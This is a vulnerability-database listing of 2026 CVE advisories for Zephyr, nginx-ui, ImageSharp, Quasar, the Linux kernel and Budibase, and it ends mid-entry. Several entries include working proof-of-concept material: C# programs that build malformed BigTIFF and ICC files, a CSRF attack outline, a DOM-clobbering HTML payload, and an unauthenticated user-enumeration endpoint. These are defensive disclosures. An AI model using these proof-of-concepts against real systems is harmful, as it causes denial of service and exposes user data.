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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.3 | EPSS 0.2% | CVE-2026-82388zephyrproject zephyr · Use After Free Medium5.3EPSS 0.2%CVE Database V5CVE-2026-82388 bt_hfp_hf_connect() in subsys/bluetooth/host/classic/hfp_hf.c allocates the per-connection HFP Hands-Free object with hfp_hf_create(), which starts an SDP discovery by passing the object's embedded hf->sdp_param to bt_sdp_discover(). That call links the caller-owned parameter block into the SDP client's request list (session->reqs in subsys/bluetooth/host/classic/sdp.c). If the subsequent bt_rfcomm_dlc_connect() then failed, the affected code wiped the entire object with (void)memset(new_hf, 0, sizeof(*new_hf)) while that discovery was still outstanding, zeroing the sys_snode_t _node that is still linked in the SDP client's list along with the request's func, uuid and pool pointers, and zeroing the hf->slc_work work item that may already be queued on the system workqueue. The discovery could not be retracted instead: bt_sdp_discover_cancel() is declared in include/zephyr/bluetooth/classic/sdp.h but has no implementation. The failing branch is reachable with peer-supplied input. The documented use of bt_hfp_hf_connect() is to pass the RFCOMM channel read out of the remote Audio Gateway's SDP record; neither bt_sdp_get_proto_param() nor bt_hfp_hf_connect() range-checks that value, so a remote device advertising an HFP AG record with an RFCOMM channel outside 1-30 makes bt_rfcomm_dlc_connect() return -EINVAL and drives the local device into the wipe. The same branch is reached without any application misuse when the remote peer controls connection timing, for example when the RFCOMM session is in BT_RFCOMM_STATE_DISCONNECTING or the ACL is dropped between object creation and the RFCOMM call. Once the object has been wiped, the Bluetooth host continues to use it: sdp_client_alloc_buf() dereferences session->param->pool, which is now NULL, and the SDP receive paths call session->param->func() through a null function pointer, neither of which is NULL-checked. Because the wipe also clears hf->acl, the pool slot is considered free and a retry or an incoming HFP connection re-appends the same still-linked list node, turning session->reqs into a self-referential list that the host's list walkers never leave. The result is a fault or an unrecoverable hang in the Bluetooth host thread; the stray indirect call is through an all-zero pointer whose target the attacker does not control, so the practical impact is denial of service. The fix keeps the object allocated and marks it with a new BT_HFP_HF_FLAG_RELEASING flag, letting bt_hfp_hf_discover_cb() release it once the discovery completes instead of destroying it under the SDP client. Only builds with CONFIG_BT_CLASSIC and CONFIG_BT_HFP_HF enabled are affected. EPSS 0.2%Vulnerability | CVE Database V5 | ||
| High | 8.8 | EPSS 0.2% | CVE-2026-1078090xJacky nginx-ui · Cross-Site Request Forgery (CSRF) High8.8EPSS 0.2%CVE Database V5CVE-2026-107809 ## Summary Nginx-UI v2.4.3 stores the API JWT in a browser cookie named `token` and the `AuthRequired` middleware accepts that cookie as an authentication source. Because management endpoints are protected by `AuthRequired` and do not enforce a universal CSRF token or Origin/Referer check, a remote attacker can induce a logged-in administrator to submit cross-site state-changing requests. The attacker does not need to read the cross-origin response; the browser-sent cookie is enough to authenticate the request. ## Details The root cause is a trust-boundary failure between browser-managed cookies and API bearer-token authentication. In `app/src/pinia/moudule/user.ts:25-35`, the front end writes the JWT to a `token` cookie when the token changes. In `internal/middleware/middleware.go:16-36`, `getToken` first checks the `Authorization` header and `token` query parameter, then falls back to `c.Cookie("token")`. That fallback causes browser-initiated cross-site requests to carry a valid API credential automatically. The route group in `router/routers.go:87-110` applies `middleware.AuthRequired()` to many management modules, including `config.InitRouter`, `nginx.InitRouter`, `settings.InitRouter`, and backup-related handlers. For accounts without OTP/Passkey, `RequireSecureSession` does not provide a universal second factor for all state-changing operations. A representative sink is `api/config/add.go:68-78`, where an authenticated request writes Nginx configuration with `os.WriteFile` and then calls `nginx.Control(nginx.Reload)`. CORS does not mitigate this issue because preventing cross-origin response reads does not prevent cross-site form or no-cors requests from being sent with cookies. Core vulnerable code path: ```typescript // app/src/pinia/moudule/user.ts:25-35 watch(token, v => { if (v) { cookies.set('token', v, getCookieOptions(86400)) if (!shortToken.value) { void fetchShortToken() } } else { cookies.remove('token', { path: '/' }) shortToken.value = '' } }) ``` The front end stores the authentication token in a `token` cookie. The cookie is created client-side and is not shown here as HttpOnly; it becomes the credential that the back end later accepts through cookie fallback. ```go // internal/middleware/middleware.go:16-36 // getToken from header, cookie or query func getToken(c *gin.Context) (token string) { if token = c.GetHeader("Authorization"); token != "" { return } if token = c.Query("token"); token != "" { if len(token) > 16 { // Long token (base64 encoded JWT) tokenBytes, _ := base64.StdEncoding.DecodeString(token) return string(tokenBytes) } // Short token (16 characters) return token } if token, _ = c.Cookie("token"); token != "" { return token } return "" } ``` `getToken` accepts the `token` cookie as an authentication credential after checking the header and query parameter. That behavior lets a browser-sent cookie authenticate state-changing API requests triggered from another origin. ```go // router/routers.go:87-110 // Authorization required and not websocket request g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()) { debug.InitRouter(g) user.InitUserRouter(g) analytic.InitRouter(g) user.InitManageUserRouter(g) nginx.InitRouter(g) sites.InitRouter(g) streams.InitRouter(g) config.InitRouter(g) template.InitRouter(g) certificate.InitCertificateRouter(g) certificate.InitDNSCredentialRouter(g) certificate.InitAcmeUserRouter(g) dnsapi.InitRouter(g) system.InitPrivateRouter(g) settings.InitRouter(g) llm.InitRouter(g) cluster.InitRouter(g) notification.InitRouter(g) external_notify.InitRouter(g) backup.InitAutoBackupRouter(g) nginxLog.InitRouter(g) upstream.InitHTTPRouter(g) ``` Many management modules, including Nginx, configuration, settings, backup, and user management, are placed behind `AuthRequired`. The cookie fallback therefore protects high-impact state-changing routes, not only read-only endpoints. ```go // api/config/add.go:68-78 err = os.WriteFile(path, []byte(content), 0644) if err != nil { cosy.ErrHandler(c, err) return } res := nginx.Control(nginx.Reload) if res.IsError() { res.RespError(c) return } ``` This representative sink shows why the CSRF is high impact: once authenticated through the cookie fallback, a request can write Nginx configuration content and trigger a reload. ## POC Prerequisites: an administrator is logged in to Nginx-UI and has a browser `token` cookie; the administrator account has not enabled OTP/Passkey, or the chosen target endpoint does not require secure-session proof; the attacker knows the Nginx-UI management URL and can induce the administrator to visit an attacker-controlled page. Reproduction: (1) Host an attacker page at `GET /csrf.html` that automatically submits a cross-site request to the victim instance. (2) The page submits `POST /api/configs` | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-106116SixLabors ImageSharp · Infinite Loop Medium5.3EPSS 0.3%CVE Database V5CVE-2026-106116 ### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > | CVE Database V5 | ||
| High | 7.5 | EPSS 0.4% | CVE-2026-106112SixLabors ImageSharp · Out-of-bounds Write High7.5EPSS 0.4%CVE Database V5CVE-2026-106112 ### Summary When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in `Vector4`. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three. ### Details `IccClut` accepts one through fifteen input and output channels. In the reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87) passes a pointer to a four-float `Vector4` result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their [`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58) implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`. An application reaches this code by decoding an image containing the profile with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the default and does not run ICC conversion. ### Reproduction environment and result The supplied exploit and control were run against the published NuGet 4.1.1 `net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below. Complete control output: ```text mode=control output_channels=3 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=204 decode_completed Docker exit status: 0 ``` Complete exploit output: ```text mode=exploit output_channels=15 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=207 Docker exit status: 139 ``` No active exploitation is known. ### Impact Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths. ### Complete PoC files Program.cs: ```csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats; static class Program { private static void U32(Stream stream, uint value) { Span<byte> bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); } private static void U16(Stream stream, ushort value) { Span<byte> bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); } private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D))); // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream(); byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header); | CVE Database V5 | ||
| Low | 3.1 | EPSS 0.3% | CVE-2026-106101quasarframework quasar · Type Confusion Low3.1EPSS 0.3%CVE Database V5CVE-2026-106101 ### Summary A DOM Clobbering vulnerability exists in Quasar's `openURL()` utility when handling the iOS `SafariViewController` bridge. The vulnerable implementation only checks whether `window.SafariViewController` exists before invoking it as a native bridge object. An attacker who can inject HTML content containing a named element such as `<a id="SafariViewController">` can cause the browser to expose that element as `window.SafariViewController`. When `openURL()` is later called in an iOS environment, Quasar incorrectly treats the DOM element as the native bridge object and attempts to invoke bridge methods that do not exist, resulting in: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` This can cause client-side denial of service and break navigation-related workflows in Quasar applications. ### Details Quasar provides the `openURL()` utility to open external URLs. On iOS platforms, this utility supports integration with the native `SafariViewController` bridge. The vulnerable code is located in: ``` ui/src/utils/open-url/open-url.js ```` The affected logic is: ```javascript if (Platform.is.ios && window.SafariViewController !== void 0) { window.SafariViewController.isAvailable(available => { if (available) { window.SafariViewController.show({ url }, noop, reject) } }) } ```` The issue is that Quasar only verifies that `window.SafariViewController` is not `undefined`. It does not verify whether the value is the expected native bridge object or whether required methods such as `isAvailable()` and `show()` are valid functions. Modern browsers expose elements with specific `id` or `name` attributes as properties of the global `window` object. Therefore, attacker-controlled HTML such as: ```html <a id="SafariViewController"></a> ``` can cause: ```javascript window.SafariViewController ``` to resolve to an `HTMLAnchorElement` instead of the expected native bridge object. When Quasar later executes: ```javascript window.SafariViewController.isAvailable(...) ``` the DOM element is incorrectly treated as the bridge object, causing: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The root cause is insufficient validation of browser-controlled global properties before using them as trusted native bridge objects. The vulnerability was verified through the Quasar `QEditor` rendering path. When attacker-controlled HTML content is rendered into the DOM and creates the `SafariViewController` named element, subsequent calls to `openURL()` fail. Additional component-level affected paths were identified in `QSelect` and `QChatMessage` when applications enable HTML rendering features and provide attacker-controlled content. These paths require specific application configurations and were not used as the primary end-to-end reproduction. ### PoC #### Steps to reproduce 1. Render attacker-controlled HTML content through a Quasar HTML rendering component such as `QEditor`. 2. Insert the following payload: ```html <a id="SafariViewController" href="#bridge"> SafariViewController </a> ```` 3. Verify that the browser exposes the element as a global property: ```javascript window.SafariViewController ``` The value resolves to the injected DOM element instead of the expected native bridge object. 4. Trigger a normal workflow that invokes: ```javascript openURL('https://example.com') ``` 5. Observe the browser console output: ``` TypeError: window.SafariViewController.isAvailable is not a function ``` The URL opening workflow fails because Quasar attempts to invoke native bridge methods on the DOM element. The same underlying issue can also affect other HTML rendering paths such as `QSelect` and `QChatMessage` when attacker-controlled HTML is rendered and the application later calls `openURL()`. ### Impact This vulnerability is a client-side DOM Clobbering and type confusion issue affecting Quasar applications that use the iOS `SafariViewController` integration. An attacker who can control HTML content rendered into the application DOM may cause Quasar's `openURL()` functionality to fail by replacing the expected native bridge object with a DOM element through browser named property resolution. Potentially affected workflows include external URL navigation, OAuth/login redirects, help or documentation links, payment flows, third-party service redirects, and other application actions that rely on URL opening functionality. The confirmed impact is client-side denial of service and navigation or workflow disruption. When the vulnerable condition is triggered, Quasar throws an exception while attempting to invoke methods on the clobbered `SafariViewController` object, preventing the expected URL opening behavior. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-98065Linux kernel · bpf: Reject key-less BTF for hash maps Medium6.8EPSS 0.2%GCVE DatabaseCVE-2026-98065 In the Linux kernel, the following vulnerability has been resolved: bpf: Reject key-less BTF for hash maps map_check_btf() allows a key-less BTF (btf_key_type_id == 0) only for maps that have a ->map_check_btf callback, and leaves the actual decision to that callback. Hash maps used to have no ->map_check_btf, so a key-less BTF was rejected outright. That changed when htab and rhtab gained a ->map_check_btf to register a dtor - htab in commit 1df97a7453ee ("bpf: Register dtor for freeing special fields") and rhtab in commit 6905f8601298 ("bpf: Allow special fields in resizable hashtab"). Neither looks at the key, so a key-less hash map now passes map_check_btf() and gets created. Reading it back through bpffs feeds the key type_id 0 into btf_type_seq_show(); btf_type_by_id() returns the void type, kind_ops[BTF_KIND_UNKN] is NULL, and btf_type_show() dereferences it: RIP: 0010:btf_type_show+0x223/0x2e0 kernel/bpf/btf.c:8232 RSP: 0018:ffffc9000399f868 EFLAGS: 00010206 RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000005 RSI: 0000000000000000 RDI: 0000000000000028 RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000 R10: ffffc9000399f970 R11: 0000000000000001 R12: ffffffff9b96b140 R13: ffffc9000399f8e0 R14: ffff88803d393c00 R15: 0000000000000003 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000200000000000 CR3: 000000003d213000 CR4: 0000000000352ef0 DR0: 0000000039ae8f55 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Call Trace: <TASK> btf_type_seq_show_flags+0xca/0x120 kernel/bpf/btf.c:8250 htab_map_seq_show_elem+0x12e/0x350 kernel/bpf/hashtab.c:1669 map_seq_show+0x13d/0x1e0 kernel/bpf/inode.c:293 traverse.part.0.constprop.0+0x107/0x650 fs/seq_file.c:112 traverse fs/seq_file.c:99 [inline] seq_read_iter+0x93f/0x1270 fs/seq_file.c:196 seq_read+0x344/0x4d0 fs/seq_file.c:163 vfs_read+0x1e4/0xb40 fs/read_write.c:572 ksys_pread64 fs/read_write.c:764 [inline] __do_sys_pread64 fs/read_write.c:772 [inline] __se_sys_pread64 fs/read_write.c:769 [inline] __x64_sys_pread64+0x1eb/0x250 fs/read_write.c:769 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x123/0x790 arch/x86/entry/syscall_64.c:84 entry_SYSCALL_64_after_hwframe+0x77/0x7f Reject a key-less BTF in htab_map_check_btf() and rhtab_map_check_btf(), restoring the previous behavior. | GCVE Database | ||
| Medium | 7.1 | EPSS 0.2% | Medium7.1EPSS 0.2%GCVE DatabaseCVE-2026-98075 In the Linux kernel, the following vulnerability has been resolved: bpf: reject BPF_PSEUDO_FUNC reference to the main program fixups.c:jit_subprogs() rewrites BPF_PSEUDO_FUNC loads to contain real function addresses. This function is invoked from bpf_jit_subprogs() only when env->subprog_cnt > 1. Meaning that for any program like below: int main(void *ctx) { void *ptr = main; ... bpf_timer_set_callback(..., ptr); ... } The 'ptr' won't be ever converted to contain an address. In combination with e.g. bpf_timer_set_callback() this would lead to a function call at a bogus address. Instead of complicating the implementation, just assume that no useful program needs main to be a sync or async callback and reject BPF_PSEUDO_FUNC loads for the main subprogram. | GCVE Database | ||
| Low | – | EPSS 0.2% | LowEPSS 0.2%GCVE DatabaseCVE-2026-93145 In the Linux kernel, the following vulnerability has been resolved: clk: qcom: gdsc: tear down per-domain genpds in gdsc_unregister() gdsc_unregister() removes the OF provider entry and tears down the parent/subdomain wiring, but never calls pm_genpd_remove() on the individual generic_pm_domain structures registered by gdsc_init(): void gdsc_unregister(struct gdsc_desc *desc) { struct device *dev = desc->dev; size_t num = desc->num; gdsc_pm_subdomain_remove(desc, num); of_genpd_del_provider(dev->of_node); } That leaves dangling entries on the global gpd_list. After a provider unbind/rebind cycle (deferred-probe replay during early boot, real module unload of a clk driver that owns GDSCs, or an OF-overlay tear- down) the next gdsc_init() will end up trying to re-register a name that is still in the list and pm_genpd_init() returns -EEXIST. While we are here, flip the order so the consumer-facing OF provider entry is the first thing removed -- otherwise a fresh of_genpd_get_from_provider() call racing with the teardown could attach to a domain that is mid-removal. Iterate the scs[] array and pm_genpd_remove() each registered domain after the subdomain links are torn down. The regulators stay devm- managed (devm_regulator_get_optional() in gdsc_register()), so the release happens automatically when the underlying device is unbound; just the genpd accounting needs to be undone explicitly. | GCVE Database | ||
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-80970 In the Linux kernel, the following vulnerability has been resolved: ALSA: FCP: do not copy out an uninitialised init response fcp_ioctl_init() allocates its response buffer with kmalloc() and copies the whole buffer back to userspace: buf_size = init.step0_resp_size + init.step2_resp_size; void *resp __free(kfree) = kmalloc(buf_size, GFP_KERNEL); ... if (copy_to_user(arg->resp, resp, buf_size)) return -EFAULT; Nothing clears the buffer, and the only writer of its leading step0_resp_size bytes is the step-0 control transfer: err = snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0), FCP_USB_REQ_STEP0, USB_RECIP_INTERFACE | USB_TYPE_CLASS | USB_DIR_IN, 0, private->bInterfaceNumber, step0_resp, private->step0_resp_size); if (err < 0) return err; usb_fill_control_urb() does not set URB_SHORT_NOT_OK, so a short or zero-length data stage completes with status 0 and snd_usb_ctl_msg() returns a small actual_length. The only check is err < 0, so a short transfer is accepted as success. snd_usb_ctl_msg() copies the full size back unconditionally: buf = kmemdup(data, size, GFP_KERNEL); ... memcpy(data, buf, size); Bytes the device never wrote are therefore restored into resp unchanged and copied to userspace. step0_resp_size and step2_resp_size are each validated only to 1..255, so the caller also picks the slab cache, from kmalloc-8 up to kmalloc-512. On 7.2.0-rc5 (arm64), device answering step 0 with a zero-length data stage, s0 = s2 = 255: # init_on_alloc off, no spray step0 window [0,255): nonzero=94/255 000: 00 80 60 06 00 00 ff ff 18 00 00 00 57 01 ea 01 010: 08 78 22 13 00 00 ff ff a8 c4 5f 80 00 80 ff ff # same kernel, kmalloc-512 pre-seeded with an 8-byte tag step0 window [0,255): nonzero=219/255 tagbytes=232 # identical run, init_on_alloc=1 step0 window [0,255): nonzero=0/255 tagbytes=0 # all three runs step2 window [255,510): device words matched=62/62 a8 c4 5f 80 00 80 ff ff is the little-endian kernel text address ffff8000805fc4a8. The step-2 window is unaffected, so the disclosure is exactly the step-0 region. Zero the buffer, and require the step-0 transfer to deliver the full step0_resp_size bytes so a short data stage is reported as an error. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> | GCVE Database | ||
| High | 5.7 | EPSS 0.2% | High5.7EPSS 0.2%GCVE DatabaseCVE-2026-68187 In the Linux kernel, the following vulnerability has been resolved: exec: fix unsigned loop counter wrap in transfer_args_to_stack() The stop value is derived from bprm->p >> PAGE_SHIFT. The index variable is an unsigned long. If bprm->p drops below PAGE_SIZE and stop becomes zero the loop condition index >= stop is always true. After the index == 0 iteration the decrement wraps to ULONG_MAX and bprm->page[ULONG_MAX] reads sizeof(void *) bytes in front of the array. The pointer has wrapped to -1. That garbage pointer is then passed to kmap_local_page() and PAGE_SIZE bytes are copied from wherever that lands into the stack of the process being created. And the loop doesn't terminate either... Getting there only requires bprm->p < PAGE_SIZE. On !MMU bprm_set_stack_limit() and bprm_hit_stack_limit() are empty. So the only constraint on how far bprm->p is pushed down is valid_arg_len(), i.e. that each individual string still fits in what is left. bprm->p starts at PAGE_SIZE * MAX_ARG_PAGES - sizeof(void *) so a single argument or environment string of a little over 31 pages leaves it in the first page: Oops - load access fault [#1] CPU: 0 UID: 0 PID: 1 Comm: victim Not tainted 7.2.0-rc4 #1 epc : __memcpy+0xd4/0xf8 ra : transfer_args_to_stack+0xaa/0xae s4 : ffffffffffffffff s2 : 0000000000000000 a1 : ffffffdc98000000 a2 : 0000000000001000 status: 0000000a00001880 badaddr: ffffffdc98000000 cause: 0000000000000005 [<801a5324>] __memcpy+0xd4/0xf8 [<800d5f6a>] load_flat_binary+0x43a/0x65e [<800a2de4>] bprm_execve+0x1d4/0x316 [<800a351a>] do_execveat_common+0x12e/0x138 [<800a3d44>] __riscv_sys_execve+0x38/0x4e Kernel panic - not syncing: Fatal exception in interrupt This is an arcane bug but we should still fix it. Count down from MAX_ARG_PAGES so the loop ends when index reaches stop, stop == 0 included. The iterations performed are unchanged for every other value of stop. Only CONFIG_MMU=n builds are affected, transfer_args_to_stack() is used by binfmt_flat and binfmt_elf_fdpic on nommu only. The loop predates git history. commit 7e7ec6a93434 ("elf_fdpic_transfer_args_to_stack(): make it generic") only moved it from binfmt_elf_fdpic.c into fs/exec.c and narrowed the copy to the used part of the first page. The condition and the decrement are unchanged from 2.6.12-rc2. | GCVE Database | ||
| Medium | 6.6 | EPSS 0.1% | CVE-2026-11743zephyrproject zephyr · Bounds Medium6.6EPSS 0.1%CVE Database V5CVE-2026-11743 The SF32LB MPI QSPI NOR flash driver (drivers/flash/flash_sf32lb_mpi_qspi_nor.c) validated the flash offset and length on its read and write paths with the test (offset + size) > data->size. Because offset is a signed off_t while size is unsigned, a negative offset is converted to a large unsigned value and the addition can wrap to a small result that passes the check. The read path then performs memcpy(dst, (void *)(data->base + offset), size) and the write path programs flash at offset and cache-invalidates data->base + offset, in both cases accessing memory outside the mapped flash window. The driver's erase path already rejected negative offsets, but read and write did not. In builds with CONFIG_USERSPACE, flash_read and flash_write are syscalls whose verifiers validate the device object and the caller's buffer but deliberately delegate offset bounds checking to the driver. An unprivileged thread that has been granted access to this flash device can therefore call the syscall with a crafted negative offset and a buffer valid in its own memory domain, and reach the unchecked access. The most direct impact is on the read path: by choosing a negative offset and matching size, an attacker slides the memcpy source below the flash base and copies arbitrary CPU-addressable memory into its own buffer, disclosing memory it is not authorized to read. The write path additionally allows programming flash at an out-of-range address and invalidating an attacker-chosen cache range, affecting integrity and availability. Reachability requires userspace to be enabled and the raw flash device object to be granted to an untrusted thread. The fix replaces the check with qspi_nor_range_is_valid(), which rejects negative offsets and performs the bound comparison in overflow-safe 64-bit arithmetic on both paths, and additionally adds an SRAM DMA bounce buffer plus source/destination overlap rejection to prevent a separate DMA bus-hang condition. EPSS 0.1%Vulnerability | CVE Database V5 | ||
| High | 7.5 | High7.5GCVE Database #### Summary The Budibase Worker service exposes a public, unauthenticated API endpoint (`GET /api/global/users/tenant/:id`) that returns sensitive user information including `tenantId`, `userId`, `email`, and `ssoId`. The endpoint is registered in the `PUBLIC_ENDPOINTS` list with a `TODO` comment acknowledging it "should be an internal API." Any unauthenticated party can enumerate user emails or IDs to extract sensitive tenant and user metadata, enabling targeted attacks against multi-tenant deployments. #### Details **Public endpoint registration** at `packages/worker/src/api/index.ts` lines 56-59: ```typescript // TODO: This should be an internal api { route: "/api/global/users/tenant/:id", method: "GET", }, ``` This endpoint is listed in `PUBLIC_ENDPOINTS`, which is passed to `auth.buildAuthMiddleware(PUBLIC_ENDPOINTS)` at line 154. When a request matches a public endpoint pattern, the authentication middleware sets `ctx.publicEndpoint = true` and calls `next()` without performing any authentication (verified at `packages/backend-core/src/middleware/authenticated.ts` lines 124-126, 249-251). All subsequent middleware also skips for public endpoints: - `buildTenancyMiddleware` — passes through - `activeTenant` — passes through - `buildCsrfMiddleware` — skipped for GET methods (line 48 of csrf.ts) - The `budibaseAccess` gate at lines 160-168 explicitly returns `next()` when `ctx.publicEndpoint` is true **Route registration** at `packages/worker/src/api/routes/global/users.ts` line 139: ```typescript loggedInRoutes .get("/api/global/users/tenant/:id", controller.tenantUserLookup) ``` `loggedInRoutes` has no auth middleware group — it is created with `endpointGroupList.group()` (no middleware). **Handler implementation** at `packages/worker/src/api/controllers/global/users.ts` lines 548-562: ```typescript export const tenantUserLookup = async ( ctx: 